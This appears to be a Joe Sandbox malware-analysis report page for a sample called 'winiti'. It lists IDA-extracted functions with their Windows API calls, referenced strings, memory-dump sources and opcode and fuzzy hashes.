Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: The required instruction sets are not supported by the current CPU.
API String ID: 2546344036-3318624164
Opcode ID: ab07537777515488e9e8f57eef12ca18558389b5460dfc982353195e4352bf6a
Instruction ID: 55a5a25e5934dbb38b1e4c261374974f18fa3916ee5f5989386cf45952457170
Opcode Fuzzy Hash: ab07537777515488e9e8f57eef12ca18558389b5460dfc982353195e4352bf6a
Instruction Fuzzy Hash: EC718371B242384AF7B64B5EA449BDA37A5BF253D0FC4092CF5054BBE1E7399A12CB04

Function 000000013FDDDF20 Relevance: 1.6, APIs: 1, Instructions: 55timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,000000013FDD587F), ref: 000000013FDDDFEC

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: b9729c8e631d8c46bd2c95e75bfe3429bf4dc4f5b6f10b25eebe2bb01cbc448c
Instruction ID: 8a8e413456a3f9a17573355424ba3ed011fef9de2703c8a18b10b00334f01ba7
Opcode Fuzzy Hash: b9729c8e631d8c46bd2c95e75bfe3429bf4dc4f5b6f10b25eebe2bb01cbc448c
Instruction Fuzzy Hash: 84215C31A05B428AE7A6DF66F84438B77A4FB8C384F50416AFA4847B71EB3CC5848740

Function 000000013FDDAB80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000000013FDD600A), ref: 000000013FDDABA3
GetProcAddress.KERNEL32(?,?,?,?,?,000000013FDD600A), ref: 000000013FDDABB8
GetEnabledXStateFeatures.KERNEL32 ref: 000000013FDDABC5
InitializeContext.KERNEL32 ref: 000000013FDDAC04
GetLastError.KERNEL32(?,?,?,?,?,000000013FDD600A), ref: 000000013FDDAC12
InitializeContext.KERNEL32 ref: 000000013FDDAC66

Strings

InitializeContext2, xrefs: 000000013FDDABAE
kernel32.dll, xrefs: 000000013FDDAB9C

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ContextInitialize$AddressEnabledErrorFeaturesHandleLastModuleProcState
String ID: InitializeContext2$kernel32.dll
API String ID: 4102459504-3117029998
Opcode ID: 32bbcba0a65d150fc54e544dc3aa3406b0ed7865d1078f9dde3bace6e9329ecd
Instruction ID: 0dc9fc8a6e6e04de2b6dbe3744d252b33562645b109cdd6e113c882fdf02e838
Opcode Fuzzy Hash: 32bbcba0a65d150fc54e544dc3aa3406b0ed7865d1078f9dde3bace6e9329ecd
Instruction Fuzzy Hash: 55317036A05B8482FB118BA9F94439EA394BB84BE4F444439EE4903BA4EF7CD647C710

Function 000000013FDD5EA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 83threadlibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000013FDDAF31
GetProcAddress.KERNEL32 ref: 000000013FDDAF41
GetLastError.KERNEL32 ref: 000000013FDDAF94
SuspendThread.KERNEL32 ref: 000000013FDDAFAD
GetThreadContext.KERNEL32 ref: 000000013FDDAFC8
ResumeThread.KERNEL32 ref: 000000013FDDAFF2

Strings

kernel32, xrefs: 000000013FDDAF24
QueueUserAPC2, xrefs: 000000013FDDAF3A

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Thread$AddressContextErrorLastLibraryLoadProcResumeSuspend
String ID: QueueUserAPC2$kernel32
API String ID: 3714266957-4022151419
Opcode ID: 2c927c7249ad306362750963f21d316bcf2fc60d905bd8730f4bf37492db24bc
Instruction ID: de7611d024f97a4f2c6e53c704105f20f52554896771f39cd1e62498ee195ace
Opcode Fuzzy Hash: 2c927c7249ad306362750963f21d316bcf2fc60d905bd8730f4bf37492db24bc
Instruction Fuzzy Hash: 34318671B00A4081EA519B6AE9583EA2391BF89BE4F404338FD69477E5DF39C74BC740

Function 000000013FDEDBE0 Relevance: 10.7, APIs: 7, Instructions: 227threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013FDEDCA1
SwitchToThread.KERNEL32 ref: 000000013FDEDD4A
SwitchToThread.KERNEL32 ref: 000000013FDEDD53
SwitchToThread.KERNEL32 ref: 000000013FDEDE8A
SwitchToThread.KERNEL32 ref: 000000013FDEDE93
SwitchToThread.KERNEL32 ref: 000000013FDEDEBD

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: c13f5500ea1206e8ec5f05ebe3918e2a796096b40ac2d42ce93c8136b207df3a
Instruction ID: 8eae09a4ef5ca8fc7a7f2c46b6a04b9a8ad1072dfede27fcbb2320bf492d1883
Opcode Fuzzy Hash: c13f5500ea1206e8ec5f05ebe3918e2a796096b40ac2d42ce93c8136b207df3a
Instruction Fuzzy Hash: 33A1C430E0060186F3569FA6AC49BEA3791AB787E4F14013DFA59876E9DF36C6028301

Function 000000013FDD62A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000000013FDD62DA
GetCurrentProcess.KERNEL32 ref: 000000013FDD62E8
GetCurrentThread.KERNEL32 ref: 000000013FDD62F0
DuplicateHandle.KERNEL32 ref: 000000013FDD6314

Part of subcall function 000000013FDDAA30: VirtualQuery.KERNEL32 ref: 000000013FDDAA62

RaiseFailFastException.KERNEL32 ref: 000000013FDD6342

Strings

, xrefs: 000000013FDD6356

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Current$Thread$DuplicateExceptionFailFastHandleProcessQueryRaiseVirtual
String ID:
API String ID: 510365852-3916222277
Opcode ID: aac18b405e8186b4baee27d6e985e552b0b39ad9a33c4f5303744330f0df3245
Instruction ID: 3d48e8750d219c3bd9eb17a732563a5104d8656d3e773835c03b4d8d10c5ebcd
Opcode Fuzzy Hash: aac18b405e8186b4baee27d6e985e552b0b39ad9a33c4f5303744330f0df3245
Instruction Fuzzy Hash: AF118E73A04B808AD764EF69B4453CA7361F7457B4F180339A6B94BBEACB74C6428740

Function 000000013FDFD600 Relevance: 9.2, APIs: 6, Instructions: 189threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013FDFD6CA
SwitchToThread.KERNEL32 ref: 000000013FDFD6D3
SwitchToThread.KERNEL32 ref: 000000013FDFD6FD
SwitchToThread.KERNEL32 ref: 000000013FDFD82F
SwitchToThread.KERNEL32 ref: 000000013FDFD838
SwitchToThread.KERNEL32 ref: 000000013FDFD862

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 01a89e310edcfaae1fb5271710d384d3bec56e2db4509541efe95d0668bf02e1
Instruction ID: 4816c40bd28e867b8699d09a12b64d2c8bbb6d1c8254869c5a01efa55c7a1146
Opcode Fuzzy Hash: 01a89e310edcfaae1fb5271710d384d3bec56e2db4509541efe95d0668bf02e1
Instruction Fuzzy Hash: F381A431F0074086F7569BA69848FDA3390AB887A4F14013DFA56873E9DB39C947DB41

Function 000000013FDFA150 Relevance: 9.2, APIs: 6, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775818c12bc7e14b7563a559daced99b5b62968cc71ab8af9d358da41de0e075
Instruction ID: bbe09782a10aeb499aa6072557f8c9256206695ee2e1bcef0c52e6ab3b719bf9
Opcode Fuzzy Hash: 775818c12bc7e14b7563a559daced99b5b62968cc71ab8af9d358da41de0e075
Instruction Fuzzy Hash: 9B71BF32B0574082FB12ABA2A548BDA63E1B759FD4F09553DAA49076E9DF38C6168300

Function 000000013FDFFAE0 Relevance: 7.8, APIs: 6, Instructions: 317COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000013FDFFECA
LeaveCriticalSection.KERNEL32 ref: 000000013FDFFF0F
EnterCriticalSection.KERNEL32 ref: 000000013FDFFFC7
LeaveCriticalSection.KERNEL32 ref: 000000013FDFFFE8
EnterCriticalSection.KERNEL32 ref: 000000013FE0002C
LeaveCriticalSection.KERNEL32 ref: 000000013FE0004D

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 418b0774b7d3228d4d9ac1118a31d47de2794695f603a46847a331a745cbe1d0
Instruction ID: cdc72442590ebbcdb1d0d90911f944975f19f6fec8dde90cb8204a326188fcd6
Opcode Fuzzy Hash: 418b0774b7d3228d4d9ac1118a31d47de2794695f603a46847a331a745cbe1d0
Instruction Fuzzy Hash: 9DE1A272B05A5585DA16CFA5E954BE873A1EB087F4F8043369A3D5BBE8DB38C11AC300

Function 000000013FDD3680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 000000013FDD3720
RaiseFailFastException.KERNEL32 ref: 000000013FDD3829
RaiseFailFastException.KERNEL32 ref: 000000013FDD3866

Strings

Process is terminating due to StackOverflowException., xrefs: 000000013FDD370A

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: Process is terminating due to StackOverflowException.
API String ID: 2546344036-2200901744
Opcode ID: fe34fe60a8b53b133f424caca37e213f3d652fd43d92ea617847fbec9e1bc9e9
Instruction ID: 8877e160135d8d8083b5420f5f8e1c547bd682b4d0fb67307719a68b317e240b
Opcode Fuzzy Hash: fe34fe60a8b53b133f424caca37e213f3d652fd43d92ea617847fbec9e1bc9e9
Instruction Fuzzy Hash: 1751A076B11F4091FF659B9AE4593E92390EB48B84F49903AFA1E43BE1DF35C6968300

Function 000000013FE12FB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,0000000140400000,000000013FE130AD,?,?,00000000,000000013FDFFA9C,?,FFFFFFFF,47AE147AE147AE15,000000013FDE964C), ref: 000000013FE13002
GetProcAddress.KERNEL32(?,?,?,?,0000000140400000,000000013FE130AD,?,?,00000000,000000013FDFFA9C,?,FFFFFFFF,47AE147AE147AE15,000000013FDE964C), ref: 000000013FE1301C

Strings

GetEnabledXStateFeatures, xrefs: 000000013FE13012
kernel32.dll, xrefs: 000000013FE12FED

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 2574300362-4754247
Opcode ID: 0d1bad6a7b8d3c1afb901e75ce55123fadd1554c836fe95c377a29b41be358a4
Instruction ID: 0faefaa07dba3c346b4487cd5890f1f070fee1981778fef1be5c661be8072521
Opcode Fuzzy Hash: 0d1bad6a7b8d3c1afb901e75ce55123fadd1554c836fe95c377a29b41be358a4
Instruction Fuzzy Hash: 132100B2F252504AFFB8833AE1553FD53D39308794F96903EC90F82AE5DC1DCA829A00

Function 000000013FDDB1D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000000013FDD5516), ref: 000000013FDDB1E3
GetProcAddress.KERNEL32(?,?,?,?,000000013FDD5516), ref: 000000013FDDB1F8

Strings

kernel32, xrefs: 000000013FDDB1D6
GetEnabledXStateFeatures, xrefs: 000000013FDDB1EE

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: 532f177c9a3abf93edbeefab53f090ab908d42bf1be2dcd3b1f8b265f2863a08
Instruction ID: 3055ae1072405a57081882e9918db80bc75490a1020196fed807c80405ccfc16
Opcode Fuzzy Hash: 532f177c9a3abf93edbeefab53f090ab908d42bf1be2dcd3b1f8b265f2863a08
Instruction Fuzzy Hash: 0BE04626F5270081EF49AB61A8893D813907BA9B40FC8402CCD0D423A0EE3C834B8710

Function 000000013FDDB180 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000000013FDD559B), ref: 000000013FDDB193
GetProcAddress.KERNEL32(?,?,?,?,000000013FDD559B), ref: 000000013FDDB1A8

Strings

kernel32, xrefs: 000000013FDDB186
GetEnabledXStateFeatures, xrefs: 000000013FDDB19E

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: d9ff822428f1893a5703cac88901d505093234beacf457cec68585e3c479c2ba
Instruction ID: cc14d5c8568a46a99550d0b5a1ed357f109a68cbec3c948986eda23ef45a9ed1
Opcode Fuzzy Hash: d9ff822428f1893a5703cac88901d505093234beacf457cec68585e3c479c2ba
Instruction Fuzzy Hash: CDE0EC26F12B4081FF59ABA1A8553D413957F89B88F88517CCD0D42390EF3C975F9B10

Function 000000013FE0E8F0 Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013FE0E96B
SwitchToThread.KERNEL32 ref: 000000013FE0EA09
SwitchToThread.KERNEL32 ref: 000000013FE0EA1E

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 669846d24bbda5f65c578a588012ee14f3413299c3a7e3c496bd00c502c477b6
Instruction ID: 1746e6d1a80f282612aade66b251f0f8645166d82f9d2dd4e739f107e5651129
Opcode Fuzzy Hash: 669846d24bbda5f65c578a588012ee14f3413299c3a7e3c496bd00c502c477b6
Instruction Fuzzy Hash: 6941E432F1165681EFA48B3BC0413ED6290E748F98F95857EEA46877F9DA3CCA438741

Function 000000013FDF1BED Relevance: 6.1, APIs: 4, Instructions: 119threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013FDF1D12
SwitchToThread.KERNEL32 ref: 000000013FDF1F9E

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: ea4baac3568b8008df20d653752b465ece59447f5b54120d8eb719c92615070f
Instruction ID: 422711571ba7822f77da8ce2d539d964d47a7e6ce41b5eb22f4c019c2d49bf5c
Opcode Fuzzy Hash: ea4baac3568b8008df20d653752b465ece59447f5b54120d8eb719c92615070f
Instruction Fuzzy Hash: C5517131F1470146F3569BA69989FEA33D4AF487A4F14423DFA06C32E1DB39DA4BD601

Function 000000013FE0F060 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 000000013FE0F139
DebugBreak.KERNEL32 ref: 000000013FE0F156
DebugBreak.KERNEL32 ref: 000000013FE0F171
DebugBreak.KERNEL32 ref: 000000013FE0F18A

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 21388db3ff23c23bfe290b02463c8e984ea9257b12978aae731d96e3086609a7
Instruction ID: 91afad54c3724b9a709d560aa616d1c1621324f66a873d2b447c82e94046b3fc
Opcode Fuzzy Hash: 21388db3ff23c23bfe290b02463c8e984ea9257b12978aae731d96e3086609a7
Instruction Fuzzy Hash: 2F41D432A057C581FA619F52E1003EEABE1E758B98F1B003DDE49173A6DB74CAA3C341

Function 000000013FDFD200 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013FDFD2B9
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013FDFD2D6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013FDFD2F6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013FDFD319

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
